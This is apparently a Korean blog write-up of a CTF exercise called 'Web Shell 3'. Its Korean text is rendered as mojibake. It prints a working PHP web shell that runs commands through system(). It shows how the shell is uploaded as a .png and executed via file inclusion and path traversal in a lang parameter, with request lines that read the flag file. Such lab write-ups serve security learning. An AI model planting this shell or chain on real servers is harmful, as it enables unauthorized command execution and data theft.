Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (File Vuln) - Web Shell 3

Gearvirus(junyup2) 2024. 2. 15. 16:39

[SegFault] (File Vuln)

Web Shell 3

์„œ๋ฒ„์—์„œ ์ค‘์š” ํŒŒ์ผ! flag ํŒŒ์ผ์„ ๊ฐ€์ ธ์™€๋ผ!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ๋Š” File Vulnerability์— ๊ด€ํ•œ ๋ฌธ์ œ๋กœ์„œ, 'Server Side Script' File, ์ฆ‰ ์›น ์‰˜(Web Shell)์„ Upload ํ•˜๊ณ , ํ•ด๋‹น ์›น ์‰˜์˜ ์—…๋กœ๋“œ ์œ„์น˜๋ฅผ ์ฐพ์•„ ์‹คํ–‰ ์‹œ์ผœ flag.txt ํŒŒ์ผ์„ ์ฐพ๋Š” ๋ฌธ์ œ์ด๋‹ค.

 

Vuln Point

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ, ๊ฒŒ์‹œํŒ์˜ ๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์—์„œ .phpํŒŒ์ผ์ด ์—…๋กœ๋“œ๋˜์ง€ ์•Š๋Š”๋‹ค.

ํ•˜์ง€๋งŒ File Inclusion ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค. 

๋กœ๊ทธ์ธ ํ›„ ํ™•์ธํ•ด๋ณด๋ฉด ์ธ์‚ฌ๋ง์ด๋ผ๋Š” ํŽ˜์ด์ง€๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์—ฌ๋Ÿฌ ๊ตญ๊ฐ€์˜ ์–ธ์–ด๋กœ ๋ฒˆ์—ญ๋˜๋Š” ํŽ˜์ด์ง€๊ฐ€ ์กด์žฌํ•œ๋‹ค.

์ด๊ฒƒ์˜ ์ฃผ์†Œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

http://ctf.segfaulthub.com:9023/webshell_3/webshell_3/greet.php

์–ธ์–ด๋ฅผ ๋ณ€๊ฒฝํ•˜๊ธฐ์œ„ํ•ด ๋ˆ„๋ฅด๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณ€๊ฒฝ๋œ๋‹ค.

์ด ๊ฒฝ์šฐ greet.php์˜ lang ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๋ณ€๊ฒฝ๋˜๋ฉด์„œ ํŽ˜์ด์ง€๊ฐ€ ๋ณ€๊ฒฝ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๊ฒƒ์€ File์„ Include๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ถˆ๋Ÿฌ์˜ค๊ณ  ์žˆ๋Š” ๊ฒƒ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

http://ctf.segfaulthub.com:9023/webshell_3/webshell_3/greet.php?lang=en.php
http://ctf.segfaulthub.com:9023/webshell_3/webshell_3/greet.php?lang=ko.php

์œ„์™€ ๊ฐ™์ด ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด, ๋ฒˆ์—ญ ๋ถ€๋ถ„๋งŒ์„ ๋”ฐ๋กœ์ด ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒƒ์ด๋‹ค.

ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ธ๋ฑ์‹ฑ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

์‚ฌ์šฉํ•œ ์›น ์‰˜ ์ฝ”๋“œ

์‚ฌ์šฉํ•˜๊ธฐ ํŽธํ•˜๋„๋ก ์ˆ˜์ •ํ•œ ์›น ์‰˜ ์ฝ”๋“œ์ด๋‹ค.

<?php
    echo 'Enter a Command:<br>';
    echo '<form action="" method="get">';
    echo '<input type="text" name="cmd">';
    echo '<input type="submit">';
    echo '</form>';
    
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
?>

 

์›น ์‰˜ ์—…๋กœ๋“œ

๊ฒŒ์‹œํŒ์˜ ์—…๋กœ๋“œ ๊ธฐ๋Šฅ์—์„œ ํ™•์žฅ์ž ๊ฒ€์ฆ์ด ์ด๋ฃจ์–ด์ง€๊ณ  ์žˆ์–ด์„œ (.php)ํŒŒ์ผ์˜ ์—…๋กœ๋“œ๋Š” ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.

ํ•˜์ง€๋งŒ ๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ File Include ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค๋ฅธ ํ™•์žฅ์ž๋กœ ์˜ฌ๋ฆฐ ํŒŒ์ผ์—๋„ Server Side Script ์ฝ”๋“œ๊ฐ€ ๋“ค์–ด ์žˆ๋‹ค๋ฉด ๊ทธ๋Œ€๋กœ ๋ณต์‚ฌ ๋ถ™์—ฌ๋„ฃ๊ธฐ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•œ๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ web_shell.php ํŒŒ์ผ์„ web_shell.png๋กœ ๋ณ€๊ฒฝํ•œ ํ›„ ์—…๋กœ๋“œ ํ•œ๋‹ค.

์—…๋กœ๋“œ ํ›„ ๋‹ค์šด๋กœ๋“œ ๋งํฌ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

http://ctf.segfaulthub.com:9023/webshell_3/webshell_3/files/gear/web_shell.png

 

์›น ์‰˜ ์‹คํ–‰

์ธ์‚ฌ๋ง ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜์—ฌ Burp๋ฅผ ์ด์šฉํ•˜์—ฌ ํŒŒ๋ผ๋ฏธํ„ฐ ๋ณ€๊ฒฝ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

GET /webshell_3/webshell_3/greet.php?lang=

lang ํŒŒ๋ผ๋ฏธํ„ฐ์— ์‚ฝ์ž…๋˜๋Š” ํŒŒ์ผ์— ๋Œ€ํ•˜์—ฌ include๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ์—์„œ ์œ„์˜ ๊ฒฝ๋กœ์˜ web_shell.png๋ฅผ ๋„ฃ์–ด์ค€๋‹ค๋ฉด ๋‚ด์šฉ์„ ๊ทธ๋Œ€๋กœ ๋ณต์‚ฌํ•˜์—ฌ ๊ฐ€์ ธ์˜ค๊ธฐ ๋•Œ๋ฌธ์— ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

 

flag ์ฐพ๊ธฐ

GET /webshell_3/webshell_3/greet.php?lang=../files/gear/web_shell.png&cmd=dir

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋ฉฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์กด์žฌํ•˜๋Š” ๋ชจ๋“  ํŒŒ์ผ๋“ค์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

address.php likes.php notice_update.php qna_create.php css login notice_update_process.php qna_delete.php download.php login.php notice_write.php qna.php file_delete.php mypage.php notice_write_process.php qna_read.php files mypage_update.php qna_answer.php signup.html greet.php notice_delete.php qna_board.php signup.php index.php notice_list.php qna_check.php topSecret lang notice_read.php qna_comment.php

ํ™•์ธํ•ด ๋ณธ ๊ฒฐ๊ณผ topSecret์ด๋ผ๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

GET /webshell_3/webshell_3/greet.php?lang=../files/gear/web_shell.png&cmd=dir+topSecret

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ topSecret ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด๋ถ€๋ฅผ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ flag.txtํŒŒ์ผ์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๋‚ด์šฉ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด cat ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•œ๋‹ค.

GET /webshell_3/webshell_3/greet.php?lang=../files/gear/web_shell.png&cmd=cat+topSecret/flag.txt

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ ๊ฒฐ๊ณผ flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.


์ƒ๊ฐํ•ด ๋ณผ ์ 

File Include ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค๋ฉด, ๊ตฌ์ง€ ํ•ด๋‹น Server Side์˜ ํ™•์žฅ์ž๊ฐ€ ์•„๋‹ˆ๋”๋ผ๋„ ์—…๋กœ๋“œ ํ•˜์—ฌ Include ํ•œ๋‹ค๋ฉด Server Side Script๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์ธ์ง€ํ•˜์ž!

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜